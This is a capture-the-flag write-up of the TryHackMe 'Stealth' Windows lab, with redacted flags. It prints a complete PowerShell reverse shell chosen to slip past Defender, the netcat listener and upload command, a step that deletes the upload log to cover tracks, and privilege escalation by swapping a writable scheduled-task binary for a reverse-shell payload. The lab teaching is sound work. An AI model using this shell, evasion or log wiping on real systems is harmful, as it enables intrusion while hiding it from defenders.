TryHackMe Stealth Walkthrough

TryHackMe Stealth Walkthrough

Original Bugflare writeup of the Stealth room. Medium Windows box (HOSTEVASION). The pitch: hit MACHINE_IP:8080 and out-sneak an updated blue team. In practice that means stop uploading the first reverse shell Google handed you, and delete the upload log when the room literally asks you to.

Flags below are THM{xxx}.

Recon

nmap -sC -sV -Pn MACHINE_IP

| Port | Role | |------|------| | 8080 | PowerShell Script Analyser (start here) | | 8000 | Hidden flag PHP (after you decode the "flag") | | 445 / 3389 / 5985 | SMB / RDP / WinRM |

Challenge text points at :8080. Open it: a form that only takes .ps1 files "to check if they are malicious (Dev Mode)." Spoiler — uploaded scripts get executed.

Foothold — a quieter .ps1 reverse shell

Vanilla Nishang / IEX one-liners often die to Defender here. An older TCP client loop holds up better (same idea as martinsohn/PowerShell-reverse-shell):

do {
 Start-Sleep -Seconds 1
 try{
 $TCPClient = New-Object Net.Sockets.TCPClient('YOUR_VPN_IP', 4433)
 } catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

function WriteToStream ($String) {
 [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
 $StreamWriter.Write($String + 'SHELL> ')
 $StreamWriter.Flush()
}

WriteToStream ''

while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
 $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
 $Output = try {
  Invoke-Expression $Command 2>&1 | Out-String
 } catch {
  $_ | Out-String
 }
 WriteToStream ($Output)
}
$StreamWriter.Close()

Save as rev.ps1, listen, upload:

nc -lvnp 4433
# form fields: fileInput + uploadButton

curl -F 'fileInput=@rev.ps1' -F 'uploadButton=Upload' http://MACHINE_IP:8080/

Shell as:

hostevasion\evader

User flag — fake cert, real cleanup

Desktop:

type C:\Users\evader\Desktop\encodedflag

Looks like a PEM certificate. It is base64 wrapping a hint. Decode the middle blob (CyberChef / base64 -d) and you get something like:

You can get the flag by visiting the link http://<IP_OF_THIS_PC>:8000/asdasdadasdjakjdnsdfsdfs.php

Visit:

http://MACHINE_IP:8000/asdasdadasdjakjdnsdfsdfs.php

First hit nags you:

Hey, seems like you have uploaded invalid file. Blue team has been alerted.
Hint: Maybe removing the logs files for file uploads can help?

Believe the hint. Analyser logs live under XAMPP:

dir C:\xampp\htdocs\uploads\
Remove-Item C:\xampp\htdocs\uploads\log.txt -Force

Refresh the PHP page:

Flag: THM{xxx}

That is the whole "stealth" joke for user — cover tracks in the upload log, then the page cooperates.

Optional shortcut after shell: a tiny .ps1 that only deletes log.txt and HTTP-callbacks your box also works if you do not want to babysit an interactive reverse shell.

Privilege escalation — MyTHMTask

evader is not high-integrity admin candy for GodPotato on this reverse-shell context (SeImpersonate is not sitting there waiting). Manual enum pays off:

Get-ScheduledTask -TaskName MyTHMTask | Format-List *
(Get-ScheduledTask -TaskName MyTHMTask).Actions

Execute : C:\xampp\DebugCrashTHM.exe

Permissions:

icacls C:\xampp\DebugCrashTHM.exe
# BUILTIN\Users:(F)  — and HOSTEVASION\evader:(F)

You can replace the binary. Backup, then drop a reverse shell EXE (msfvenom, or compile C# on-box with Add-Type -OutputAssembly).

copy C:\xampp\DebugCrashTHM.exe C:\xampp\DebugCrashTHM.exe.bak -Force
# compile / download payload over DebugCrashTHM.exe
Start-ScheduledTask -TaskName MyTHMTask

Catch the callback:

hostevasion\administrator

type C:\Users\Administrator\Desktop\flag.txt

THM{xxx}

Other paths people try

Drop a PHP webshell into C:\xampp\htdocs\ (Apache often has better privs / SeImpersonate) then GodPotato / PrintSpoofer — Defender frequently eats the potato binaries. Service ACL abuse on Apache if your enum tooling still runs under AV. Task hijack was the clean live path on this deploy.

Chain at a glance

:8080 Script Analyser (.ps1 executed)
  → reverse shell as evader
  → Desktop encodedflag → :8000/...php
  → delete uploads\log.txt → user flag
  → MyTHMTask → writable DebugCrashTHM.exe
  → replace + Start-ScheduledTask
  → administrator → root flag

Room answers (redacted)

| Question | Answer | |----------|--------| | User level flag | THM{xxx} | | Root level flag | THM{xxx} |

What stuck

Dev-mode "analysers" that run uploads are free RCE — AV only changes which .ps1 survives. The user flag is an OPSEC lesson, not crypto: wipe log.txt, then the page plays nice. Scheduled tasks with user-writable Execute paths beat wrestling Defender with potato EXEs. Always icacls weird binaries under C:\xampp\ — this room parks the win in plain sight once you look.

Swap MACHINE_IP / YOUR_VPN_IP for your lab. Path spoilers only — flags stay on the box.